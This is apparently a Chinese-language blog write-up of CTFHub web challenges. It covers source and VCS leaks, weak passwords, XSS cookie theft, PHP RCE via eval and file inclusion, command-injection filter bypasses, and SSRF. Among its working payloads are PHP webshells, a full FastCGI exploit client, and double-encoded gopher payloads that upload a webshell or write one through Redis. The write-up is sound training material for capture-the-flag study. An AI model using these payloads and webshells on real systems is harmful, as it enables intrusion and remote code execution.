首页 > 技术文章 > CTFHub-Web技能树通关(未完待续)

chenxianz 2021-01-29 17:24 原文

信息泄露

目录遍历

官方wp直接是手动一个个打开查找flag

也可以用脚本跑一下

import requests
url = "url"
for i in range(5):
    for j in range(5):
        a =url+"/"+str(i)+"/"+str(j)
        r = requests.get(a)
        r.encoding = 'utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print(a)

PHPINFO

题目直接给出phpinfo,Ctrl+f搜索flag即可

备份文件查找

网站源码

可以手动试常见的备份文件名,也可以用御剑,dirsearch等扫描工具扫描一下,或者用burp爆破也可以

下载下来备份文件后,却发现里面是假flag,于是在url打开文件,得到真正flag

bak文件

根据题目提示,在index.php后面加.bak即可下载源码获取flag

vim缓存

vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件为submit.swp。如果文件正常退出,则此文件自动删除。

访问.index.php.swp即可下载,hxd打开,底部为flag

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

访问.DS_Store即可下载,同样为十六进制文件,访问其中提示的flag文件即可获取flag

git泄露

Log

python2 GitHack.py http://challenge-93de7a3935589a2a.sandbox.ctfhub.com:10080/.git

切换到dist文件夹中对应url的目录中执行git log查看历史记录

 

当前所处的版本为 remove flag,flag 在 add flag 这次提交中

一种方法是git diff对这两次操作进行比对

另一种方法是 git reset --hard直接恢复到add flag版本,然后我们会发现目录中会多出一个txt文件,里面就是flag

还有一种是直接输入git show即可显示flag

stash

python2 GitHack.py http://challenge-23bc9b71f9af8de5.sandbox.ctfhub.com:10080/.git

git stash list

git stash pop即可看到txt文件出现,打开获得flag

index

git log

git show可出

git diff也可出

git checkout看到文件名,然后git checkout 160052187811088.txt

svn泄露

首先安装工具dvcs-ripper

git clone https://github.com/kost/dvcs-ripper

使用./rip-svn.pl -v -u http://challenge-fb13f9afd9ee3b28.sandbox.ctfhub.com:10080/.svn/

在.svn/pristine目录下的文件中找到flag(注意要开启显示隐藏文件)

hg泄露

./rip-hg.pl -v -u http://challenge-3f0f27b52fffbd61.sandbox.ctfhub.com:10080/.hg

在.hg/store/fncache中看到flag文件名,直接url访问即可获得flag

curl http://challenge-3f0f27b52fffbd61.sandbox.ctfhub.com:10080/flag_28360637.txt

密码口令

弱口令

admin 123456 登录获得flag,(爆破方式详述)

默认口令

估计题意是百度该公司网关默认密码,但是我没有搜到,只搜到相关wp,用wp中的账号密码登录成功获得flag

eyougw
admin@(eyou)

XSS

Xss平台https://xss.pt/xss.php?do=login

在XSS平台创建项目,复制js代码,让后台BOT点击盗取cookie,flag在cookie

RCE-eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

http://challenge-a661f108315602de.sandbox.ctfhub.com:10080/?cmd=system(%22cd ../../../;cat flag_24225%22);

RCE-文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

被包含的文件都会被解析为php,所以shell.txt可被当作shell执行命令

http://challenge-bf8a2e95b9f2075d.sandbox.ctfhub.com:10080/?file=shell.txt

[post data] ctfhub=system("cd ../../../;ls;cat flag");

RCE-php://input

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

查看phpinfo后,发现是双on的,结合题目名,使用伪协议input

http://challenge-56caca05b50278f5.sandbox.ctfhub.com:10080/?file=php://input

[post data] <?php system('cd ../../../;ls;cat flag_10260') ?>

RCE-远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

同input解法

RCE-读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

http://challenge-f81c3c3192321f05.sandbox.ctfhub.com:10080/?file=php://filter/read=convert.base64-encode/resource=/flag

RCE-命令注入

127.0.0.1;ls&&cat 139501528732660.phpflag在注释中

127.0.0.1;ls&&cat 139501528732660.php| base64

127.0.0.1;cat ???501528732660.???| base64

RCE-过滤cat

127.0.0.1;ls;tac flag_420034259314.php

127.0.0.1;c$@at flag_420034259314.php

RCE-过滤空格

利用<或<>(此题不知为何只能用<)

127.0.0.1;cat<flag_242452442031908.php

${IFS} $IFS$9 $IFS

127.0.0.1;cat${IFS}flag_242452442031908.php

127.0.0.1;cat$IFS$9flag_242452442031908.php

%0a(换行) %20(space) %09(tab) %3c(<)以及+(使用时要在url上直接改,在输入框输入会被改掉)

127.0.0.1;cat%09flag_242452442031908.php

RCE-过滤目录分割符

直接一层一层看

127.0.0.1;ls;cd flag_is_here;ls;cat flag_16171164519803.php

RCE-过滤运算符

同上

127.0.0.1;ls;cd flag_12665;ls;1679331166.php;cat flag_126651679331166.php

RCE-综合过滤

;用%0a(换行)代替,空格用%09代替,过滤cat用tac代替,过滤flag直接4个?代替

127.0.0.1%0als%0acd%09????_is_here%0als%0atac%09????_2266192737600.php

SSRF

ssrf部分参见https://zhuanlan.zhihu.com/p/302861528

涉及到的协议有:

file://文件路径 访问本地文件

dict://serverip:port 探测端口的开放情况

gopher://<host>:<port>/<gopher-path> 默认70端口 可以实现多个数据包整合发送

SSRF-内网访问

题目有提示直接访问

url=127.0.0.1/flag.php

SSRF-伪协议读取文件

常见web目录访问即可

url=file:///var/www/html/flag.php

SSRF-端口扫描

先用dict伪协议检测端口

url=dict://127.0.0.1:8740

扫描出端口直接访问

url=127.0.0.1:8740

SSRF-POST请求

先用file协议尝试读取下flagurl=file:///var/www/html/flag.php,在注释中发现

?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}

key在url=127.0.0.1/flag.php注释中

key=d6b1a3b035f16b854528feb3feb77caf

从flag.php中可知,需要我们利用ssrf从127.0.0.1 post key

题目中提到了curl,而curl支持gopher协议,因此本题即利用gopher协议进行POST请求

gopher协议默认70端口,格式为:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 注意:不要忘记下划线 _

如果发起post请求,回车换行需要使用%0d%0a(\r\n的URL编码),如果存在多个参数,参数之间的&也需要进行URL编码

最基本的POST请求(Content-Length为POST内容长度,严格按照字符长度填写)

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d6b1a3b035f16b854528feb3feb77caf

将这部分POST请求经url编码后换行部分换为%0d%0a并再进行一次次url编码后即为payload

url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=d6b1a3b035f16b854528feb3feb77caf

因为经过一次url调用加上浏览器的一次url解码,因此需编码两次

SSRF-上传文件

大致思路同上图,只是把post的key换成一个文件而已

url=127.0.0.1/flag.php发现只有选择文件没有上传选项,F12手动添加一条上传选项

<input type="submit" name="submit">

随便上传一个文件,burpsuit抓一下包,然后修改host为127.0.0.1:80,整段请求复制下来url编码一次,%0a换成%0d%0a后,再url编码一次提交得到flag

url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AProxy-Connection:%2520keep-alive%250D%250AContent-Length:%2520326%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/87.0.4280.141%2520Safari/537.36%250D%250AOrigin:%2520http://challenge-0e9ee55670fd7e76.sandbox.ctfhub.com:10080%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundarywgeAZaa3vi0VezkL%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9%250D%250AReferer:%2520http://challenge-0e9ee55670fd7e76.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250ACookie:%2520UM_distinctid=17723e00b921b7-07017b344ff3c1-31346d-144000-17723e00b93682%250D%250A%250D%250A------WebKitFormBoundarywgeAZaa3vi0VezkL%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522tex.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B%27shell%27%255D);%2520?%253E%250D%250A------WebKitFormBoundarywgeAZaa3vi0VezkL%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundarywgeAZaa3vi0VezkL--

注意,如果没有将host改为127.0.0.1:80的话,那么可能返回400(但是flag还是会显示,应该是题目配置问题)

这样的情况也出现在1.6版本的burp中,提交两个字因为编码问题无法显示,直接复制并进行url编码发送请求的话也会出现400状态码

SSRF-FastCGI协议

首先监听9000端口,因为PHP-FPM默认监听9000端口

nc -lvvp 9000 > a.txt

题目文档给出脚本文件

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

python fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

将得到的流量数据a.txt通过这个脚本编码一下

a='''
0101 2fc9 0008 0000 0001 0000 0000 0000
0104 2fc9 01e7 0000 0e02 434f 4e54 454e
545f 4c45 4e47 5448 3337 0c10 434f 4e54
454e 545f 5459 5045 6170 706c 6963 6174
696f 6e2f 7465 7874 0b04 5245 4d4f 5445
5f50 4f52 5439 3938 350b 0953 4552 5645
525f 4e41 4d45 6c6f 6361 6c68 6f73 7411
0b47 4154 4557 4159 5f49 4e54 4552 4641
4345 4661 7374 4347 492f 312e 300f 0e53
4552 5645 525f 534f 4654 5741 5245 7068
702f 6663 6769 636c 6965 6e74 0b09 5245
4d4f 5445 5f41 4444 5231 3237 2e30 2e30
2e31 0f1b 5343 5249 5054 5f46 494c 454e
414d 452f 7573 722f 6c6f 6361 6c2f 6c69
622f 7068 702f 5045 4152 2e70 6870 0b1b
5343 5249 5054 5f4e 414d 452f 7573 722f
6c6f 6361 6c2f 6c69 622f 7068 702f 5045
4152 2e70 6870 091f 5048 505f 5641 4c55
4561 7574 6f5f 7072 6570 656e 645f 6669
6c65 203d 2070 6870 3a2f 2f69 6e70 7574
0e04 5245 5155 4553 545f 4d45 5448 4f44
504f 5354 0b02 5345 5256 4552 5f50 4f52
5438 300f 0853 4552 5645 525f 5052 4f54
4f43 4f4c 4854 5450 2f31 2e31 0c00 5155
4552 595f 5354 5249 4e47 0f16 5048 505f
4144 4d49 4e5f 5641 4c55 4561 6c6c 6f77
5f75 726c 5f69 6e63 6c75 6465 203d 204f
6e0d 0144 4f43 554d 454e 545f 524f 4f54
2f0b 0953 4552 5645 525f 4144 4452 3132
372e 302e 302e 310b 1b52 4551 5545 5354
5f55 5249 2f75 7372 2f6c 6f63 616c 2f6c
6962 2f70 6870 2f50 4541 522e 7068 7001
042f c900 0000 0001 052f c900 2500 003c
3f70 6870 2076 6172 5f64 756d 7028 7368
656c 6c5f 6578 6563 2827 6c73 202f 2729
293b 3f3e 0105 2fc9 0000 0000
'''
a=a.replace('\n','')
a=a.replace(' ','')
b=''
length=len(a)
for i in range(0,length,2):
    b+='%'
    b+=a[i]
    b+=a[i+1]
print(b)

将得到的字符串再次url编码

url=gopher://127.0.0.1:9000/_%2501%2501%252f%25c9%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%252f%25c9%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%252f%25c9%2500%2500%2500%2500%2501%2505%252f%25c9%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%252f%25c9%2500%2500%2500%2500

即可获取到flag文件名,然后再重复上述操作即可get flag,但是我在浏览器使用此payload时总是504,不知为何,先放着吧。

SSRF-Redis协议

利用方式 --绝对路径写webshell

先构造redis命令

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

用脚本将其转化为redis RESP协议的格式

import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print (payload)

将结果url编码一下

url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

然后返回504状态码,虽然不知道为什么,但是shell已经写进去了

最后直接shell.php?cmd=system("ls;cd%20../../../;ls;cat%20flag_7dac76ca1e46fb38842ba4446accca77");

SSRF-URL Bypass

提示url must startwith "http://notfound.ctfhub.com"

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

SSRF-数字ip Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。

可以用ip地址转16进制来绕过过滤

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    $r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

记得在16进制前加上0x?url=0X7F000001/flag.php

SSRF-302 Bypass

?url=4m.cn/FjOdQ

SSRF-DNS Bypass

非预期127.0.0.1/flag.php

 

推荐阅读